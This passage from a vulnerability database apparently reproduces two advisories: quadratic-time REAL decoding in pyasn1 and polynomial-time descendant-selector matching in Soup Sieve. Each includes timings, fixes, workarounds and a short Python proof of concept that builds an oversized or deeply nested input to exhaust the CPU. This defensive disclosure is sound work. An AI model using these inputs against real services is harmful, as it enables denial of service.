time:\n\n```python\np = 0\nwhile chunk:\n p \u003c\u003c= 8\n p |= chunk[0]\n chunk = chunk[1:]\n```\n\nEach shift processes an integer that grows with the mantissa; with byte strings, each slice also copies the remaining suffix. Repeating both operations for every octet makes decoding quadratic in mantissa size. The decoder\u0027s [eight-octet length-field limit](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1704-L1717) does not impose a practical mantissa-size limit for the inputs demonstrated below. [CER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/cer/decoder.py#L51-L62) and [DER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L23-L31) reuse the BER REAL payload decoder, so all three paths reach this loop.\n\nThe vulnerable loop is present in every available repository release tag inspected, from v0.2.1 through v0.6.4. Runtime measurements below were made on v0.6.4; older releases were checked for the loop, not benchmarked individually.\n\n## Impact\n\nA comparatively small REAL value can hold a decoder worker on one CPU core for seconds or longer. The attacker must be able to supply data that the application sends to an affected decoder, and application-level input limits may reduce exposure. The demonstrated effect is CPU exhaustion during decoding; this advisory does not assert a network endpoint, unauthenticated access, or an affected downstream application by itself.\n\n## Reproduction and evidence\n\nThe following example uses pyasn1 0.6.4. The `0x09` tag identifies REAL; `0x80 0x00` selects a positive, base-2 binary value with a one-octet zero exponent, followed by a large mantissa. It exercises `decode()` only.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\n\n\ndef real_value(mantissa_octets):\n content = b\"\\x80\\x00\" + b\"\\xff\" * mantissa_octets\n length = len(content).to_bytes(3, \"big\")\n return b\"\\x09\\x83\" + length + content\n\n\nfor codec in (ber, cer, der):\n for size in (50_000, 100_000, 200_000):\n substrate = real_value(size)\n started = time.process_time()\n value, rest = codec.decode(substrate)\n print(codec.__name__, size, time.process_time() - started)\n assert not rest\n assert tuple(value)[1:] == (2, 0)\n```\n\nThe original report measured the following BER CPU times on repository commit `aa05757`. That commit is later than the official v0.6.4 tag; the vulnerable loop is identical in the tagged release.\n\n| Mantissa size | Reporter\u0027s BER CPU time |\n| ---: | ---: |\n| 50,000 octets | 0.328 s |\n| 100,000 octets | 1.299 s |\n| 200,000 octets | 6.043 s |\n| 400,000 octets | 24.095 s |\n\nThe same report measured 5.645 s for a 200,000-octet mantissa through DER.\n\nA separate local reproduction on the official v0.6.4 tag (`d43496f`, CPython 3.14.8, macOS arm64) measured BER at 0.209 s, 0.884 s, and 3.451 s for 50,000, 100,000, and 200,000 mantissa octets respectively. CER and DER each took about 0.89 s at 100,000 octets. These are machine-specific measurements; the repeated near-fourfold cost for doubled input is the relevant result. Neither reproduction calls `float()`, `str()`, or `prettyPrint()`.\n\n## Fix\n\npyasn1 0.6.5 replaces the per-octet shift and slice loop with one `int.from_bytes(bytes(chunk), \"big\")` conversion. Sign, scale, exponent, and the decoded REAL tuple are preserved. The fix is in the shared BER payload decoder and therefore covers BER, CER, and DER. A local check of the 0.6.5 candidate decoded a 200,000-octet mantissa correctly through all three codecs; the check does not establish behavior for every application using REAL.\n\n## Workarounds\n\nUpgrade to pyasn1 0.6.5. Until then, reject or strictly limit attacker-controlled ASN.1 input that may contain REAL values before passing it to pyasn1. The appropriate size limit depends on the application\u0027s available CPU time and request volume.",
"id": "GHSA-mm57-4v3p-rchx",
"modified": "2026-10-30T23:06:46Z",
"published": "2026-10-30T23:06:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-119197"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/pull/132"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyasn1/pyasn1"
},
{
"type": "WEB",
"url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "pyasn1 has quadratic-complexity denial of service in binary REAL decoding"
}
GHSA-MMHR-3C5M-F64F
Vulnerability from github – Published: 2026-11-13 00:49 – Updated: 2026-11-13 00:49Summary
Matching a selector that uses the descendant combinator (a b) takes time that grows polynomially with how deeply the document is nested, and each extra descendant combinator in the selector raises the degree by one. A selector with k descendant combinators takes O(n^(k+1)) time on a chain of n nested elements.
An attacker who controls the HTML or XML that an application passes to Soup Sieve (directly, or through Beautiful Soup's select(), select_one(), css.select(), etc.) can send a very small, deeply nested document that keeps a CPU busy for seconds to minutes against an ordinary selector such as section div div.
Details
To match a b, Soup Sieve checks each element against b and then walks up through its ancestors looking for one that matches a. When the selector has more descendant combinators, the rest of the selector is tried again from each ancestor on that walk, and so on for every combinator. Nothing was reused between walks, so the same ancestors were matched against the same part of the selector over and over.
The worst case is when the leftmost part of the selector never matches, as in section div div against a document of nested <div> with no <section>: every walk goes all the way to the root and no search can stop early.
Timings
Example timings with html.parser on Soup Sieve 3.0.4 and 4.0, using a document of nested <div> (5 bytes each) and no matches:
| Nesting depth | Input size | Selector | 3.0.4 | 4.0 |
|---|---|---|---|---|
| 2,000 | 10 KB | section div |
1.6 s | 0.05 s |
| 4,000 | 20 KB | section div |
5.1 s | 0.01 s |
| 400 | 2 KB | section div div |
6.7 s | < 0.01 s |
| 800 | 4 KB | section div div |
53.0 s | < 0.01 s |
| 100 | 0.5 KB | section div div div |
2.5 s | < 0.01 s |
| 200 | 1 KB | section div div div |
40.9 s | < 0.01 s |
None of these selectors use unusual syntax.
Proof of concept
import time
import bs4
import soupsieve as sv
soup = bs4.BeautifulSoup('<div>' * 200, 'html.parser')
t = time.process_time()
sv.select('section div div div', soup)
print(time.process_time() - t)
On affected versions, doubling the nesting depth multiplies the time by about 2^(k+1), where k is the number of descendant combinators: about 4x for section div, 8x for section div div, and 16x for section div div div.
Impact
Applications are affected if they run selectors with descendant combinators against documents that untrusted users can influence, such as scrapers, HTML sanitizers or filters, and services that process uploaded or fetched markup. Descendant combinators are among the most common parts of CSS selectors, and a document of about 1 KB is enough to tie up a worker for close to a minute. Applications that only run selectors against trusted documents are not affected.
Patches
Fixed in 4.0 by facelessuser/soupsieve#351. Whether an element is, or has an ancestor that is, a match for part of a selector depends only on its parent, so Soup Sieve now caches that result per element and relation for every element visited on the walk. Each descendant combinator is then linear in the size of the document. Results are unchanged, and ordinary documents are no slower.
Caching is enabled by default, so no changes are needed beyond upgrading. The NOCACHE flag is a temporary fallback for users who run into problems with caching, and it is planned for removal. It uses the old uncached matching, so selectors compiled with NOCACHE are still subject to polynomial time and shouldn't be used with descendant combinators on untrusted input.
Workarounds
If users can't upgrade:
- Use as few descendant combinators as they can in selectors that run on untrusted documents. Where the structure of the
document is known, the child combinator (
a > b) only looks at the parent and is not affected. - Limit the size and nesting depth of untrusted documents before selecting on them.
- Run selection on untrusted input with a time limit, for example in a worker process that can be stopped.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "soupsieve"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-126190"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-13T00:49:46Z",
"nvd_published_at": "2026-11-12T17:17:32Z",
"severity": "HIGH"
},
"details": "## Summary\n\nMatching a selector that uses the descendant combinator (`a b`) takes time that grows polynomially with how deeply the document is nested, and each extra descendant combinator in the selector raises the degree by one. A selector with `k` descendant combinators takes `O(n^(k+1))` time on a chain of `n` nested elements.\n\nAn attacker who controls the HTML or XML that an application passes to Soup Sieve (directly, or through Beautiful Soup\u0027s `select()`, `select_one()`, `css.select()`, etc.) can send a very small, deeply nested document that keeps a CPU busy for seconds to minutes against an ordinary selector such as `section div div`.\n\n## Details\n\nTo match `a b`, Soup Sieve checks each element against `b` and then walks up through its ancestors looking for one that matches `a`. When the selector has more descendant combinators, the rest of the selector is tried again from each ancestor on that walk, and so on for every combinator. Nothing was reused between walks, so the same ancestors were matched against the same part of the selector over and over.\n\nThe worst case is when the leftmost part of the selector never matches, as in `section div div` against a document of nested `\u003cdiv\u003e` with no `\u003csection\u003e`: every walk goes all the way to the root and no search can stop early.\n\n### Timings\n\nExample timings with `html.parser` on Soup Sieve 3.0.4 and 4.0, using a document of nested `\u003cdiv\u003e` (5 bytes each) and no matches:\n\n| Nesting depth | Input size | Selector | 3.0.4 | 4.0 |\n| --- | --- | --- | --- | --- |\n| 2,000 | 10 KB | `section div` | 1.6 s | 0.05 s |\n| 4,000 | 20 KB | `section div` | 5.1 s | 0.01 s |\n| 400 | 2 KB | `section div div` | 6.7 s | \u003c 0.01 s |\n| 800 | 4 KB | `section div div` | 53.0 s | \u003c 0.01 s |\n| 100 | 0.5 KB | `section div div div` | 2.5 s | \u003c 0.01 s |\n| 200 | 1 KB | `section div div div` | 40.9 s | \u003c 0.01 s |\n\nNone of these selectors use unusual syntax.\n\n## Proof of concept\n\n```py\nimport time\nimport bs4\nimport soupsieve as sv\n\nsoup = bs4.BeautifulSoup(\u0027\u003cdiv\u003e\u0027 * 200, \u0027html.parser\u0027)\nt = time.process_time()\nsv.select(\u0027section div div div\u0027, soup)\nprint(time.process_time() - t)\n```\n\nOn affected versions, doubling the nesting depth multiplies the time by about 2^(k+1), where `k` is the number of descendant combinators: about 4x for `section div`, 8x for `section div div`, and 16x for `section div div div`.\n\n## Impact\n\nApplications are affected if they run selectors with descendant combinators against documents that untrusted users can influence, such as scrapers, HTML sanitizers or filters, and services that process uploaded or fetched markup. Descendant combinators are among the most common parts of CSS selectors, and a document of about 1 KB is enough to tie up a worker for close to a minute. Applications that only run selectors against trusted documents are not affected.\n\n## Patches\n\nFixed in 4.0 by [facelessuser/soupsieve#351](https://github.com/facelessuser/soupsieve/pull/351). Whether an element is, or has an ancestor that is, a match for part of a selector depends only on its parent, so Soup Sieve now caches that result per element and relation for every element visited on the walk. Each descendant combinator is then linear in the size of the document. Results are unchanged, and ordinary documents are no slower.\n\nCaching is enabled by default, so no changes are needed beyond upgrading. The `NOCACHE` flag is a temporary fallback for users who run into problems with caching, and it is planned for removal. It uses the old uncached matching, so selectors compiled with `NOCACHE` are still subject to polynomial time and shouldn\u0027t be used with descendant combinators on untrusted input.\n\n## Workarounds\n\nIf users can\u0027t upgrade:\n\n- Use as few descendant combinators as they can in selectors that run on untrusted documents. Where the structure of the\n document is known, the child combinator (`a \u003e b`) only looks at the parent and is not affected.\n- Limit the size and nesting depth of untrusted documents before selecting on them.\n- Run selection on untrusted input with a time limit, for example in a worker process that can be stopped.",
"id": "GHSA-mmhr-3c5m-f64f",
"modified": "2026-11-13T00:49:46Z",
"published": "2026-11-13T00:49:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-mmhr-3c5m-f64f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-126190"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/pull/351"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/commit/ff1a5ce7e5addc31626d7b6053511fecdb4f6320"
},
{
"type": "PACKAGE",
"url": "https://github.com/facelessuser/soupsieve"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/releases/tag/4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Soup Sieve: Polynomial-time denial of service in the descendant combinator"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.